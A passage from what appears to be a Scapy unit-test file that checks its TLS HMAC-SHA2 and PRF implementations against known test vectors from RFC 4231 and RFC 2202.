a(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19').digest(b'\xcd'*50) == b'\x4c\x90\x07\xf4\x02\x62\x50\xc6\xbc\x84\x14\xf9\xbf\x50\xc8\x6c\x2d\x72\x35\xda' t5 = a(b'\x0c'*20).digest("Test With Truncation") == b'\x4c\x1a\x03\x42\x4b\x55\xe0\x7f\xe7\xf2\x7b\xe1\xd5\x8b\xb9\x32\x4a\x9a\x5a\x04' t6 = a(b'\xaa'*80).digest("Test Using Larger Than Block-Size Key - Hash Key First") == b'\xaa\x4a\xe5\xe1\x52\x72\xd0\x0e\x95\x70\x56\x37\xce\x8a\x3b\x55\xed\x40\x21\x12' t7 = a(b'\xaa'*80).digest("Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data") == b'\xe8\xe9\x9d\x0f\x45\x23\x7d\x78\x6d\x6b\xba\xa7\x96\x5c\x78\x08\xbb\xff\x1a\x91' t1 and t2 and t3 and t4 and t5 and t6 and t7 = Crypto - Hmac_SHA2 behavior on test vectors from RFC 4231 class _hmac_test_case_1: Key = (b'\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'+ b'\x0b\x0b\x0b\x0b\x0b\x0b\x0b') Data = b'\x48\x69\x20\x54\x68\x65\x72\x65' HMAC_SHA_224 = (b'\x89\x6f\xb1\x12\x8a\xbb\xdf\x19\x68\x32\x10\x7c\xd4'+ b'\x9d\xf3\x3f\x47\xb4\xb1\x16\x99\x12\xba\x4f\x53\x68'+ b'\x4b\x22') HMAC_SHA_256 = (b'\xb0\x34\x4c\x61\xd8\xdb\x38\x53\x5c\xa8\xaf\xce\xaf'+ b'\x0b\xf1\x2b\x88\x1d\xc2\x00\xc9\x83\x3d\xa7\x26\xe9'+ b'\x37\x6c\x2e\x32\xcf\xf7') HMAC_SHA_384 = (b'\xaf\xd0\x39\x44\xd8\x48\x95\x62\x6b\x08\x25\xf4\xab'+ b'\x46\x90\x7f\x15\xf9\xda\xdb\xe4\x10\x1e\xc6\x82\xaa'+ b'\x03\x4c\x7c\xeb\xc5\x9c\xfa\xea\x9e\xa9\x07\x6e\xde'+ b'\x7f\x4a\xf1\x52\xe8\xb2\xfa\x9c\xb6') HMAC_SHA_512 = (b'\x87\xaa\x7c\xde\xa5\xef\x61\x9d\x4f\xf0\xb4\x24\x1a'+ b'\x1d\x6c\xb0\x23\x79\xf4\xe2\xce\x4e\xc2\x78\x7a\xd0'+ b'\xb3\x05\x45\xe1\x7c\xde\xda\xa8\x33\xb7\xd6\xb8\xa7'+ b'\x02\x03\x8b\x27\x4e\xae\xa3\xf4\xe4\xbe\x9d\x91\x4e'+ b'\xeb\x61\xf1\x70\x2e\x69\x6c\x20\x3a\x12\x68\x54') class _hmac_test_case_2: Key = b'\x4a\x65\x66\x65' Data = (b'\x77\x68\x61\x74\x20\x64\x6f\x20\x79\x61\x20\x77\x61'+ b'\x6e\x74\x20\x66\x6f\x72\x20\x6e\x6f\x74\x68\x69\x6e'+ b'\x67\x3f') HMAC_SHA_224 = (b'\xa3\x0e\x01\x09\x8b\xc6\xdb\xbf\x45\x69\x0f\x3a\x7e'+ b'\x9e\x6d\x0f\x8b\xbe\xa2\xa3\x9e\x61\x48\x00\x8f\xd0'+ b'\x5e\x44') HMAC_SHA_256 = (b'\x5b\xdc\xc1\x46\xbf\x60\x75\x4e\x6a\x04\x24\x26\x08'+ b'\x95\x75\xc7\x5a\x00\x3f\x08\x9d\x27\x39\x83\x9d\xec'+ b'\x58\xb9\x64\xec\x38\x43') HMAC_SHA_384 = (b'\xaf\x45\xd2\xe3\x76\x48\x40\x31\x61\x7f\x78\xd2\xb5'+ b'\x8a\x6b\x1b\x9c\x7e\xf4\x64\xf5\xa0\x1b\x47\xe4\x2e'+ b'\xc3\x73\x63\x22\x44\x5e\x8e\x22\x40\xca\x5e\x69\xe2'+ b'\xc7\x8b\x32\x39\xec\xfa\xb2\x16\x49') HMAC_SHA_512 = (b'\x16\x4b\x7a\x7b\xfc\xf8\x19\xe2\xe3\x95\xfb\xe7\x3b'+ b'\x56\xe0\xa3\x87\xbd\x64\x22\x2e\x83\x1f\xd6\x10\x27'+ b'\x0c\xd7\xea\x25\x05\x54\x97\x58\xbf\x75\xc0\x5a\x99'+ b'\x4a\x6d\x03\x4f\x65\xf8\xf0\xe6\xfd\xca\xea\xb1\xa3'+ b'\x4d\x4a\x6b\x4b\x63\x6e\x07\x0a\x38\xbc\xe7\x37') class _hmac_test_case_3: Key = (b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa') Data = (b'\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd'+ b'\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd'+ b'\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd'+ b'\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd') HMAC_SHA_224 = (b'\x7f\xb3\xcb\x35\x88\xc6\xc1\xf6\xff\xa9\x69\x4d\x7d'+ b'\x6a\xd2\x64\x93\x65\xb0\xc1\xf6\x5d\x69\xd1\xec\x83'+ b'\x33\xea') HMAC_SHA_256 = (b'\x77\x3e\xa9\x1e\x36\x80\x0e\x46\x85\x4d\xb8\xeb\xd0'+ b'\x91\x81\xa7\x29\x59\x09\x8b\x3e\xf8\xc1\x22\xd9\x63'+ b'\x55\x14\xce\xd5\x65\xfe') HMAC_SHA_384 = (b'\x88\x06\x26\x08\xd3\xe6\xad\x8a\x0a\xa2\xac\xe0\x14'+ b'\xc8\xa8\x6f\x0a\xa6\x35\xd9\x47\xac\x9f\xeb\xe8\x3e'+ b'\xf4\xe5\x59\x66\x14\x4b\x2a\x5a\xb3\x9d\xc1\x38\x14'+ b'\xb9\x4e\x3a\xb6\xe1\x01\xa3\x4f\x27') HMAC_SHA_512 = (b'\xfa\x73\xb0\x08\x9d\x56\xa2\x84\xef\xb0\xf0\x75\x6c'+ b'\x89\x0b\xe9\xb1\xb5\xdb\xdd\x8e\xe8\x1a\x36\x55\xf8'+ b'\x3e\x33\xb2\x27\x9d\x39\xbf\x3e\x84\x82\x79\xa7\x22'+ b'\xc8\x06\xb4\x85\xa4\x7e\x67\xc8\x07\xb9\x46\xa3\x37'+ b'\xbe\xe8\x94\x26\x74\x27\x88\x59\xe1\x32\x92\xfb') class _hmac_test_case_4: Key = (b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d'+ b'\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19') Data = (b'\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd'+ b'\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd'+ b'\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd'+ b'\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd') HMAC_SHA_224 = (b'\x6c\x11\x50\x68\x74\x01\x3c\xac\x6a\x2a\xbc\x1b\xb3'+ b'\x82\x62\x7c\xec\x6a\x90\xd8\x6e\xfc\x01\x2d\xe7\xaf'+ b'\xec\x5a') HMAC_SHA_256 = (b'\x82\x55\x8a\x38\x9a\x44\x3c\x0e\xa4\xcc\x81\x98\x99'+ b'\xf2\x08\x3a\x85\xf0\xfa\xa3\xe5\x78\xf8\x07\x7a\x2e'+ b'\x3f\xf4\x67\x29\x66\x5b') HMAC_SHA_384 = (b'\x3e\x8a\x69\xb7\x78\x3c\x25\x85\x19\x33\xab\x62\x90'+ b'\xaf\x6c\xa7\x7a\x99\x81\x48\x08\x50\x00\x9c\xc5\x57'+ b'\x7c\x6e\x1f\x57\x3b\x4e\x68\x01\xdd\x23\xc4\xa7\xd6'+ b'\x79\xcc\xf8\xa3\x86\xc6\x74\xcf\xfb') HMAC_SHA_512 = (b'\xb0\xba\x46\x56\x37\x45\x8c\x69\x90\xe5\xa8\xc5\xf6'+ b'\x1d\x4a\xf7\xe5\x76\xd9\x7f\xf9\x4b\x87\x2d\xe7\x6f'+ b'\x80\x50\x36\x1e\xe3\xdb\xa9\x1c\xa5\xc1\x1a\xa2\x5e'+ b'\xb4\xd6\x79\x27\x5c\xc5\x78\x80\x63\xa5\xf1\x97\x41'+ b'\x12\x0c\x4f\x2d\xe2\xad\xeb\xeb\x10\xa2\x98\xdd') class _hmac_test_case_5: Key = (b'\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'+ b'\x0c\x0c\x0c\x0c\x0c\x0c\x0c') Data = (b'\x54\x65\x73\x74\x20\x57\x69\x74\x68\x20\x54\x72\x75'+ b'\x6e\x63\x61\x74\x69\x6f\x6e') HMAC_SHA_224 = (b'\x0e*\xeah\xa9\x0c\x8d7\xc9\x88\xbc\xdb\x9f\xcao\xa8'+ b'\t\x9c\xd8W\xc7\xecJ\x18\x15\xca\xc5L') HMAC_SHA_256 = (b'\xa3\xb6\x16ts\x10\x0e\xe0n\x0cyl)UU+\xfao|\nj\x8a'+ b'\xef\x8b\x93\xf8`\xaa\xb0\xcd \xc5') HMAC_SHA_384 = (b':\xbf4\xc3P;*#\xa4n\xfca\x9b\xae\xf8\x97\xf4\xc8\xe4'+ b',\x93L\xe5\\\xcb\xae\x97@\xfc\xbc\x1a\xf4\xcab&\x9e*'+ b'7\xcd\x88\xba\x92cA\xef\xe4\xae\xea') HMAC_SHA_512 = (b'A_\xadbqX\nS\x1dAy\xbc\x89\x1d\x87\xa6P\x18\x87\x07'+ b'\x92*O\xbb6f:\x1e\xb1m\xa0\x08q\x1c[P\xdd\xd0\xfc#P'+ b'\x84\xeb\x9d3d\xa1EO\xb2\xefg\xcd\x1d)\xfegs\x06\x8e'+ b'\xa2f\xe9k') class _hmac_test_case_6: Key = (b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa') Data = (b'\x54\x65\x73\x74\x20\x55\x73\x69\x6e\x67\x20\x4c\x61'+ b'\x72\x67\x65\x72\x20\x54\x68\x61\x6e\x20\x42\x6c\x6f'+ b'\x63\x6b\x2d\x53\x69\x7a\x65\x20\x4b\x65\x79\x20\x2d'+ b'\x20\x48\x61\x73\x68\x20\x4b\x65\x79\x20\x46\x69\x72'+ b'\x73\x74') HMAC_SHA_224 = (b'\x95\xe9\xa0\xdb\x96\x20\x95\xad\xae\xbe\x9b\x2d\x6f'+ b'\x0d\xbc\xe2\xd4\x99\xf1\x12\xf2\xd2\xb7\x27\x3f\xa6'+ b'\x87\x0e') HMAC_SHA_256 = (b'\x60\xe4\x31\x59\x1e\xe0\xb6\x7f\x0d\x8a\x26\xaa\xcb'+ b'\xf5\xb7\x7f\x8e\x0b\xc6\x21\x37\x28\xc5\x14\x05\x46'+ b'\x04\x0f\x0e\xe3\x7f\x54') HMAC_SHA_384 = (b'\x4e\xce\x08\x44\x85\x81\x3e\x90\x88\xd2\xc6\x3a\x04'+ b'\x1b\xc5\xb4\x4f\x9e\xf1\x01\x2a\x2b\x58\x8f\x3c\xd1'+ b'\x1f\x05\x03\x3a\xc4\xc6\x0c\x2e\xf6\xab\x40\x30\xfe'+ b'\x82\x96\x24\x8d\xf1\x63\xf4\x49\x52') HMAC_SHA_512 = (b'\x80\xb2\x42\x63\xc7\xc1\xa3\xeb\xb7\x14\x93\xc1\xdd'+ b'\x7b\xe8\xb4\x9b\x46\xd1\xf4\x1b\x4a\xee\xc1\x12\x1b'+ b'\x01\x37\x83\xf8\xf3\x52\x6b\x56\xd0\x37\xe0\x5f\x25'+ b'\x98\xbd\x0f\xd2\x21\x5d\x6a\x1e\x52\x95\xe6\x4f\x73'+ b'\xf6\x3f\x0a\xec\x8b\x91\x5a\x98\x5d\x78\x65\x98') class _hmac_test_case_7: Key = (b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa') Data = (b'\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x74\x65\x73'+ b'\x74\x20\x75\x73\x69\x6e\x67\x20\x61\x20\x6c\x61\x72'+ b'\x67\x65\x72\x20\x74\x68\x61\x6e\x20\x62\x6c\x6f\x63'+ b'\x6b\x2d\x73\x69\x7a\x65\x20\x6b\x65\x79\x20\x61\x6e'+ b'\x64\x20\x61\x20\x6c\x61\x72\x67\x65\x72\x20\x74\x68'+ b'\x61\x6e\x20\x62\x6c\x6f\x63\x6b\x2d\x73\x69\x7a\x65'+ b'\x20\x64\x61\x74\x61\x2e\x20\x54\x68\x65\x20\x6b\x65'+ b'\x79\x20\x6e\x65\x65\x64\x73\x20\x74\x6f\x20\x62\x65'+ b'\x20\x68\x61\x73\x68\x65\x64\x20\x62\x65\x66\x6f\x72'+ b'\x65\x20\x62\x65\x69\x6e\x67\x20\x75\x73\x65\x64\x20'+ b'\x62\x79\x20\x74\x68\x65\x20\x48\x4d\x41\x43\x20\x61'+ b'\x6c\x67\x6f\x72\x69\x74\x68\x6d\x2e') HMAC_SHA_224 = (b'\x3a\x85\x41\x66\xac\x5d\x9f\x02\x3f\x54\xd5\x17\xd0'+ b'\xb3\x9d\xbd\x94\x67\x70\xdb\x9c\x2b\x95\xc9\xf6\xf5'+ b'\x65\xd1') HMAC_SHA_256 = (b'\x9b\x09\xff\xa7\x1b\x94\x2f\xcb\x27\x63\x5f\xbc\xd5'+ b'\xb0\xe9\x44\xbf\xdc\x63\x64\x4f\x07\x13\x93\x8a\x7f'+ b'\x51\x53\x5c\x3a\x35\xe2') HMAC_SHA_384 = (b'\x66\x17\x17\x8e\x94\x1f\x02\x0d\x35\x1e\x2f\x25\x4e'+ b'\x8f\xd3\x2c\x60\x24\x20\xfe\xb0\xb8\xfb\x9a\xdc\xce'+ b'\xbb\x82\x46\x1e\x99\xc5\xa6\x78\xcc\x31\xe7\x99\x17'+ b'\x6d\x38\x60\xe6\x11\x0c\x46\x52\x3e') HMAC_SHA_512 = (b'\xe3\x7b\x6a\x77\x5d\xc8\x7d\xba\xa4\xdf\xa9\xf9\x6e'+ b'\x5e\x3f\xfd\xde\xbd\x71\xf8\x86\x72\x89\x86\x5d\xf5'+ b'\xa3\x2d\x20\xcd\xc9\x44\xb6\x02\x2c\xac\x3c\x49\x82'+ b'\xb1\x0d\x5e\xeb\x55\xc3\xe4\xde\x15\x13\x46\x76\xfb'+ b'\x6d\xe0\x44\x60\x65\xc9\x74\x40\xfa\x8c\x6a\x58') def _all_hmac_sha2_tests(): from scapy.layers.tls.crypto.h_mac import (Hmac_SHA224, Hmac_SHA256, Hmac_SHA384, Hmac_SHA512) res = True for t in [_hmac_test_case_1, _hmac_test_case_2, _hmac_test_case_3, _hmac_test_case_4, _hmac_test_case_5, _hmac_test_case_6, _hmac_test_case_7 ]: tmp = ((Hmac_SHA224(t.Key).digest(t.Data) == t.HMAC_SHA_224) and (Hmac_SHA256(t.Key).digest(t.Data) == t.HMAC_SHA_256) and (Hmac_SHA384(t.Key).digest(t.Data) == t.HMAC_SHA_384) and (Hmac_SHA512(t.Key).digest(t.Data) == t.HMAC_SHA_512)) res = res and tmp return res _all_hmac_sha2_tests() ############################################################################### ### PRF ### ############################################################################### + Test PRFs and associated methods = Crypto - _tls_P_MD5 behavior on test vectors borrowed from RFC 2202 (+ errata) from scapy.layers.tls.crypto.prf import _tls_P_MD5 t1 = _tls_P_MD5(b'\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b', "Hi There", 64) == b'8\x99\xc0\xb8!\xd7}RI\xb2\xbb\x8e\xbe\xf8\x97Y\xcc\xffL\xae\xc3I\x8f\x7f .\x81\xe0\xce\x1a\x82\xbd\x19\xa0\x16\x10P}\xf0\xda\xdc\xa0>\xc4,\xa1\xcfS`\x85\xc5\x084+QN31b\xd7%L\x9d\xdc' t2 = _tls_P_MD5(b"Jefe", b"what do ya want for nothing?", 64) == b"\xec\x99'|,\xd5gj\x82\xb9\xa0\x12\xdb\x83\xd3\xa3\x93\x19\xa6N\x89g\x99\xc2!9\xd8\xcf\xc1WTi\xc4D \x19l\x03\xa8PCo\x10`-\x98\xd0\xe1\xbc\xefAJkx\x95\x0c\x08*\xd6C\x8fS\x0e\xd9" t3 = _tls_P_MD5(b'\xaa'*16,b'\xdd'*50, 64) == b'\xe5_\xe8.l\xee\xd8AP\xfc$$\xda\tX\x93O\xa7\xd2\xe2\xa2\xa9\x02\xa1\x07t\x19\xd1\xe3%\x80\x19\rV\x19\x0f\xfa\x01\xce\x0eJ\x7fN\xdf\xed\xb5lS\x06\xb5|\x96\xa6\x1cc)h\x88\x8d\x0c@\xfdX\xaa' t4 = _tls_P_MD5(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19', b'\xcd'*50, 64) == b'\x8e\xa6\x1f\x82\x1e\xad\xbe4q\x93\xf4\x1c\xb7\x87\xb3\x15\x13F\x8b\xfd\x89m\x0e\xa6\xdc\xe9\xceZ\xcdOc>gN\xa4\x9cK\xf89\xfc6\t%T=j\xf0\x0f\xfdl\xbf\xfbj\xc4$zR"\xf4\xa4=\x18\x8b\x8d' t5 = _tls_P_MD5(b'\x0c'*16, b"Test With Truncation", 64) == b'\xb3>\xfaj\xc8\x95S\xcd\xdd\xea\x8b\xee7\xa5ru\xf4\x00\xd6\xed\xd5\x9aH\x1f,F\xb6\x93\r\xc3Z<"\x1e\xf7rx\xf0\xd7\x0f`zy\xe9\r\xb4\xf4}\xab2\xa5\xfe\xd0z@\x87\xc1c\x8b\xa0\xc8\xf5\x0bd' t6 = _tls_P_MD5(b'\xaa'*80, b"Test Using Larger Than Block-Size Key - Hash Key First", 64) == b';\xcf\xa4\xd8\xccH\xa0\xa4\xf1\x10d\xfa\xd4\xb1\x7f\xda\x80\xf6\xe2\xb9\xf4\xd3WtS\x1c\x83\xb4(\x94\xfe\xa7\xb9\xc1\xcd\xf9\xe7\xae\xbc\x0c\x0f\xbae\xc3\x9e\x11\xe2+\x11\xe9\xd4\x8fK&\x99\xfe[\xfa\x02\x85\xb4\xd8\x8e\xdf' t7 = _tls_P_MD5(b'\xaa'*80, b"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data", 64) == b'\x12\x06EI1\x81fP\x8dn\xa6WC\xfb\xbf\x1e\xefC[|\x0f\x05w\x14@\xfc\xa5 \xeak\xc9\xb9\x1c&\x80\x81.\x85#\xa9\x0ff\xea\xaa\x01"v\'\xd8X"\xbd\xa2\x86\xbd\xe3?6\xc7|\xc6WNO' t1 and t2 and t3 and t4 and t5 and t6 and t7 = Crypto - _tls_P_SHA1 behavior on test vectors borrowed from RFC 2202 (+ errata) from scapy.layers.tls.crypto.prf import _tls_P_SHA1 t1 = _tls_P_SHA1(b'\x0b'*20, b"Hi There", 80) == b'\x13\r\x11Q7(\xc1\xad\x7f>%m\xfc\x08\xb6\xb9$\xb1MG\xe4\x9c\xcdY\x0e\\T\xd0\x8f\x1a-O@`\xd2\x9eV_\xfd\xed\x1f\x93V\xfb\x18\xb6\xbclq3A\xa2\x87\xb1u\xfc\xb3RQ\x19;#\n(\xd2o%lB\x8b\x01\x89\x1c6m"\xc3\xe2\xa0\xe7' t2 = _tls_P_SHA1(b'Jefe', b"what do ya want for nothing?", 80) == b'\xba\xc4i\xf1\xa0\xc5eO\x844\xb6\xbd%L\xe1\xfe\xef\x08\x00\x1c^l\xaf\xbbN\x9f\xd8\xe5}\x87U\xc1\xd2&4zu\x9a1\xef\xd6M+\x1e\x84\xb4\xcb\xc9\xa7\n\x90f\x8aJ\xde\xd5\xa4\x8f,D\xe8.\x98\x9c)\xc7hlct\x1em(\xb73b[L\x96c' t3 = _tls_P_SHA1(b'\xaa'*20, b'\xdd'*50, 80) == b'Lm\x848}\xe8?\x88\x82\x85\xc3\xe6\xc9\x1f\x80Z\xf5D\xeeI\xa1m\x08h)\xea^\x047;\xcezY}\x16\xc6\xf10\x80:\xe2K\x87i{\xc7V\xad2\xda=\xf3d7\x047\xf7r\xf1&\x04\xb1\xd1\xf8\x88H\'\r\x08\xc4\x81\xa3\xa1Q\xa5\x90\xed\xef\xd8\x9c\x14\xdc\x80\xab){3\xde\x87\x8a\x1e"\x1e\xad54rM\x94\xe1\xb8' t7 = _tls_P_SHA1(b'\xaa'*80, b"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data", 80) == b'N/PKC\x1d\xb5[}gUk\xc7\xaf\xb4-\xef\x9e\xe63$E=\xfc\xc4\xd0l]EA\x84\xb0\x1e\x91]\xcc[\x0e-\xec\xd5\x90\x19,\xc6\xffn\xf8\xbe1Ck\xe6\x9cF*\x8c"_\x05\x14%h\x98\xa1\xc2\xf1bCt\xd4S\xc1:{\x96\xa4\x14c ' t1 and t2 and t3 and t4 and t5 and t6 and t7 = Crypto - _tls_PRF behavior on test vectors borrowed from RFC 2202 (+ errata) from scapy.layers.tls.crypto.prf import _tls_PRF t1 = _tls_PRF(b'\x0b'*20, b"Test Label XXXX", b"Hi There", 80) == b'E\xcc\xeb\x12\x0b<\xbfh\x1f\xc3\xd3%J\x85\xdeQ\t\xbc[\xcd.\xbe\x170\xf2\xebm\xe6g\x05x\xad\x86V\x0b\xb3\xb7\xe5i\x7fh}T\xe5$\xe4\xba\xa0\xc6\xf0\xf1\xb1\xe1\x8a\xf5\xcc\x9ab\x1c\xc9\x10\x82\x93\x82Q\xd2\x80\xf0\xf8\x0f\x03\xe2\xbe\xc3\x94T\x05\xben\x9e' t2 = _tls_PRF(b'Jefe', b"Test Label YYYYYYY", b"what do ya want for nothing?", 80) == b'n\xbet\x06\x82\x87\xcd\xea\xd9\x8b\xf8J\x17\x07\x84\xbc\xf3\x07\x9a\x99\n\xa6,\x97\xe6CRO\x7f\x0e[,\xa9\x83\xe6\xce?6\x12x\xc8Q\x00kO\x06s\xc5\xd7\xda\x1fd_\xe8\xad\xd4\xea\xfe\xd8\xc8 \x92e\x80\x8a\xafxF\xd6-/\x14\x94\x05a\x94\x0b\x1d\xf83' t3 = _tls_PRF(b'\xaa'*20, b"Test Label ZZ", b'\xdd'*50, 80) == b"Ad\xe2B\xa0\xb0+G#\x0f%\x19\xae\xdd\xb1d\xa0\x99\x15\x98\xa43c?\xaa\xd1\xc0\xf7\xc39V\xcb\x9b}\x95T\xd9\xde \xecr{/\xfb\x018\xeeR \x18Awi\x86=\xb4rg\x13\\\xaf<\x17\xd3_\xc5'U[\xa5\x83\xfa<\xa6\xc9\xdd\x85l\x1a\xdb" t4 = _tls_PRF(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19', b"Test Label UUUUUUUUUUUUUUU", b'\xcd'*50, 80) == b'<\xf0\xe9\xaa\x95w\t\xa7\xb0!w\xf1EoC\x8fJ\x1f\xec\x80.\x89X\xe3O4Vl\xd1\xb7]\xa1\xb9o\xdf/&!\xb8n\xeb\x04"\xeftxs 6E+\xf1\xb3\xb6/vd\xd1h\xa3\x80>\x83Y\xbd]\xda\xab\xb8\xd8\x01\xc5b3K\xe7\x08\r\x12\x14' t5 = _tls_PRF(b'\x0c'*20, b"Test Label KKKKKKKKK", b"Test With Truncation", 80) == b"gq\xa5\xc4\xf5\x86z.\x03\n\xa3\x85\x87\xbc\xabm\xf1\xd2\x06\xf6\xbc\xc8\xab\xf0\xee\xd2>e'!\xd3zW\x81\x10|^(\x8d~\xa5s&p\xef]\rDa\x113\xa6z\x9f\xf2\xe2_}\xd8.u\xbe\xb1\x7fx\xe0r~\xdc\xa2\x0f\xcd\xcd\x1d\x81\x1a`#\xc6O" t6 = _tls_PRF(b'\xaa'*80, b"Test Label PPPPPPPPP", b"Test Using Larger Than Block-Size Key - Hash Key First", 80) == b'\x994^fx\x17\xbaaj\xc0"\xd1g\xbfh#uE\xee\xd8\xf1,\xab\xe7w\xfa\xc8\x0c\xf9\xcd\xbb\xbb\xa71U\xbe\xeb@\x90\xc2\x04\x93\xa5\xcf\x8e\xda\xbb\x93n\x99^\xa2{\x8b{\x18\xd7\xf7e\x8a~\xfbA\xdd\xc3\xd9\x9b\x1c\x82$\xf5YX{\xaa\xb4\xf2\x04\xb3%' t7 = _tls_PRF(b'\xaa'*80, b"Test Label MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", b"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data", 80) == b'\xd6N\x12S\x18]\x87\x19\xacD\x1b4\xc3"\xc2\xd9J\xb8\xee/\xb0?\xc2_\x10\xb2\x196\xdaXC\xe0Ft\xd3:a\xcd\xb8\xdd\x8a\xb6\xb1\xc6sx\xb8\x87\x8a\x93\xf8~\xad\xc7\xd1\xa7I=\xceVW\x0f\x9a\xcc-\x8cv^o\x12\xa4\xcd\x10\xb1\xb0\x1f\xdd\x94,\x03' t1 and t2 and t3 and t4 and t5 and t6 and t7 = Crypto - _ssl_PRF behavior on test vectors from scapy.layers.tls.crypto.prf import _ssl_PRF t1 = _ssl_PRF(b'\x0b'*20, b"Hi There", 80) == b'\x0fo\xbe9\x83>~Bc\xaea^\x86\xd2b\x94X\xfd9Be\xe799\xf2\x00\xfcS\xd6\x1c=\xe5\x7fin\x1e\xf9r\xc8\xe6k\x19K\x8a\x85SK\xe5\xb7;A\x19b\x86F3M\x8d=\xcf\x15\xeedo\xd3\xae\xa2\x95\x8e\x80\x13\xabG\x8d\x1c,\x8c\xab\xf7\xd4' t2 = _ssl_PRF(b'Jefe', b"what do ya want for nothing?", 80) == b'\x19\x9f\xb9{\x87.\xd0\xf5\xc4\t.\xb6#\xae\x95\xe0S~\x15\xce\xe6\xb7oe\xad\x127\xb8\xc2C?\r\x87\xa6\x7f\x86y\xfa\xae\xcf\x0e\xb9\x01\xa5B\x07\x9d\x95\xf1]\xdc\x1bCb&T\xa0\xb0\x8a3\xcf\\\xaf\xe8j/\xbdx\x13\\\x91\xc8\xdfZ\xde"R`K\xd6' t3 = _ssl_PRF(b'\xaa'*20, b'\xdd'*50, 80) == b'\xe3*\xce\xdc?k{\x10\x80\x8dt\x0e\xdaA\xf9}\x1d\x8e|\xc9Ux\x88\\\xf1a\xcfJ\xedi\xc1[C-\xf3\xa4\xcc\xf9\xce\xa3P\xe3\x9ai\x0b\xb7\xce\x8bar\x93\xc5\x93\x1a\x82\xc8{\x1c\xf2\x87\x9d\xe1\xf5\x9e\x0c\xf6\xa6\x91\xb9\x97\x17Y,\x11\x00\rs\xdd\xcf]' t4 = _ssl_PRF(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19', b'\xcd'*50, 80) == 